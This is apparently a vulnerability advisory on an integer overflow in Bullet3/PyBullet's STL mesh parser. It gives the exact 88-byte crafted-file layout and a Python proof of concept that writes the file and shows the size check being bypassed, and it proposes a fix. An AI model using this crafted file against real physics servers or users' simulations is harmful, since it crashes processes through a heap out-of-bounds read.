· Jimmy Ly · Vulnerabilities · 5 min read
Integer Overflow in Bullet3 STL Mesh Parser

We discovered an integer overflow in Bullet3’s STL mesh loader that bypasses the file-size sanity check. A crafted 88-byte .stl file with numTriangles = 85899346 causes the int multiplication numTriangles * 50 + 84 to wrap to 88, passing the check. The parser then reads 85 million triangles (4 GB) from a 4-byte heap buffer. The vulnerability was confirmed on Bullet3 3.25 (commit 63c4d67, current master).
- CVE
- Pending
- Product
- Bullet Physics SDK / PyBullet 3.25
- Component
LoadMeshFromSTL.h:44:LoadMeshFromSTL()- CWE
- CWE-190: Integer Overflow or Wraparound
- CVSS
- 7.5 High (
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) - Fix
- PR #4790
- Discovered by
- Jimmy Ly
What is Bullet3?
Bullet Physics is an open-source physics engine used for robotics simulation, reinforcement learning, VR, and game development. Its Python binding, PyBullet, is one of the most popular physics simulators in the RL research community (14.5k GitHub stars). Bullet3 loads robot meshes from STL files when importing URDF/SDF robot descriptions, a standard format in robotics where mesh assets are shared between researchers as part of robot model packages.
The Bug
Binary STL files store a 32-bit triangle count at byte offset 80. Bullet3’s LoadMeshFromSTL function reads this count and performs a sanity check: it computes numTriangles * 50 + 84 and verifies it matches the file size. The problem is that the multiplication is done in 32-bit int arithmetic, which can silently overflow.
Step 1: Read the triangle count from the file
The parser reads numTriangles directly from the file header at byte 80, with no validation on the value itself:
// LoadMeshFromSTL.h:38
int numTriangles = *(int*)&memoryBuffer[80]; // attacker-controlled from file
Step 2: Sanity check overflows
The check computes the expected file size. Both numTriangles and 50 are int, so the compiler performs 32-bit multiplication. For numTriangles = 85899346:
- True result:
85899346 * 50 = 4,294,967,300(exceedsINT_MAXof2,147,483,647) - 32-bit result: wraps to
4 - Plus 84:
88
The crafted file is exactly 88 bytes, so the check passes:
// LoadMeshFromSTL.h:44 (VULNERABLE)
int expectedBinaryFileSize = numTriangles * 50 + 84; // overflows to 88
if (expectedBinaryFileSize != size) // 88 == 88, check passes
{
return 0; // never reached
}
Step 3: Parser reads past the buffer
With the check bypassed, the parser enters a loop that iterates numTriangles times, reading 50 bytes per triangle via memcpy:
// LoadMeshFromSTL.h:67-70
for (int i = 0; i < numTriangles; i++) // 85,899,346 iterations
{
char* curPtr = &memoryBuffer[84 + i * 50]; // walks past 88-byte buffer
memcpy(&tmp, curPtr, sizeof(MySTLTriangle)); // OOB read into heap
This reads approximately 4 GB from a heap buffer that contains only 4 bytes of actual triangle data. The process crashes when the reads hit unmapped memory.
The Crafted STL File
The exploit file is only 88 bytes:
Offset Size Field Value
------ ---- ----- -----
0x00 80 Header 00 00 00 00 ... (zeros)
0x50 4 numTriangles 85899346 (0x051EB852)
0x54 4 Padding 41 41 41 41
Total: 88 bytes
Expected by parser: 85899346 * 50 + 84 = 4,294,967,384 bytes
After 32-bit overflow: 88 bytes (matches file size)
The key insight is that 85899346 * 50 = 0x1_0000_0004, which truncates to 0x4 in 32-bit, and 0x4 + 84 = 88.
Proof of Concept
The PoC reproduces the exact C int arithmetic using Python’s ctypes.c_int32 to demonstrate the overflow. No C++ compiler or PyBullet installation needed.
import struct, ctypes, os, sys
def create_evil_stl(path):
evil_num_triangles = 85899346
header = b"\x00" * 80
count = struct.pack("<I", evil_num_triangles)
padding = b"\x41" * 4
with open(path, "wb") as f:
f.write(header + count + padding)
return os.path.getsize(path)
def c_int32_multiply(a, b):
return ctypes.c_int32(a * b).value
def c_int32_add(a, b):
return ctypes.c_int32(a + b).value
evil_path = "evil_test.stl"
file_size = create_evil_stl(evil_path)
with open(evil_path, "rb") as f:
buf = f.read()
numTriangles = struct.unpack_from("<i", buf, 80)[0]
product = c_int32_multiply(numTriangles, 50)
expected = c_int32_add(product, 84)
print(f"numTriangles = {numTriangles}")
print(f"numTriangles * 50 = {numTriangles * 50} (true 64-bit)")
print(f"numTriangles * 50 = {product} (C int32 overflow)")
print(f"expectedBinaryFileSize = {expected} (C int32)")
print(f"file size = {file_size}")
print(f"check passes = {expected == file_size}")
print(f"OOB read = {numTriangles * 50 - (file_size - 84):,} bytes "
f"({(numTriangles * 50 - (file_size - 84)) / (1024**3):.1f} GB)")
os.remove(evil_path)
Result
numTriangles = 85899346
numTriangles * 50 = 4294967300 (true 64-bit)
numTriangles * 50 = 4 (C int32 overflow)
expectedBinaryFileSize = 88 (C int32)
file size = 88
check passes = True
OOB read = 4,294,967,296 bytes (4.0 GB)
The 88-byte crafted file passes the vulnerable sanity check. The parser then attempts to read 85,899,346 triangles (4.0 GB) from the 4-byte payload, a heap out-of-bounds read that crashes the process.
Applying the fix (casting to long long), the same file is correctly rejected:
expectedBinaryFileSize = 4294967384 (64-bit, no overflow)
file size = 88
check passes = False
RESULT: REJECTED
Impact
STL is one of the most common mesh formats in robotics. Researchers share robot model packages (URDF bundles containing .stl meshes) via GitHub, ROS package repositories, and model zoos. A user who downloads a robot description and loads it with pybullet.loadURDF() expects the mesh files to be parsed as geometry data, not to corrupt memory.
The vulnerability is also reachable over the network when Bullet3’s physics server transports are running (UDP port 1234, TCP port 6667), since CMD_CREATE_COLLISION_SHAPE with GEOM_MESH can reference attacker-supplied STL files. In this configuration, no authentication is required to trigger the parser.
Suggested Fix
The root cause is that the sanity check uses 32-bit int arithmetic that silently wraps on large triangle counts. Casting one operand to long long performs the multiplication in 64-bit, preventing the overflow:
// BEFORE (vulnerable):
int expectedBinaryFileSize = numTriangles * 50 + 84;
// AFTER (fixed):
long long expectedBinaryFileSize = (long long)numTriangles * 50 + 84;
One type change, one cast, zero performance impact, no behavior change for valid STL files. The fix has been submitted as PR #4790.
Disclosure
This vulnerability was reported to the Bullet3 maintainers via a public pull request on GitHub. The project has no security policy (SECURITY.md) or private reporting mechanism.
Timeline
| Date | Event |
|---|---|
| 19/05/2026 | Vulnerability discovered and PoC confirmed |
| 19/05/2026 | Fix developed, tested, and PR #4790 submitted |



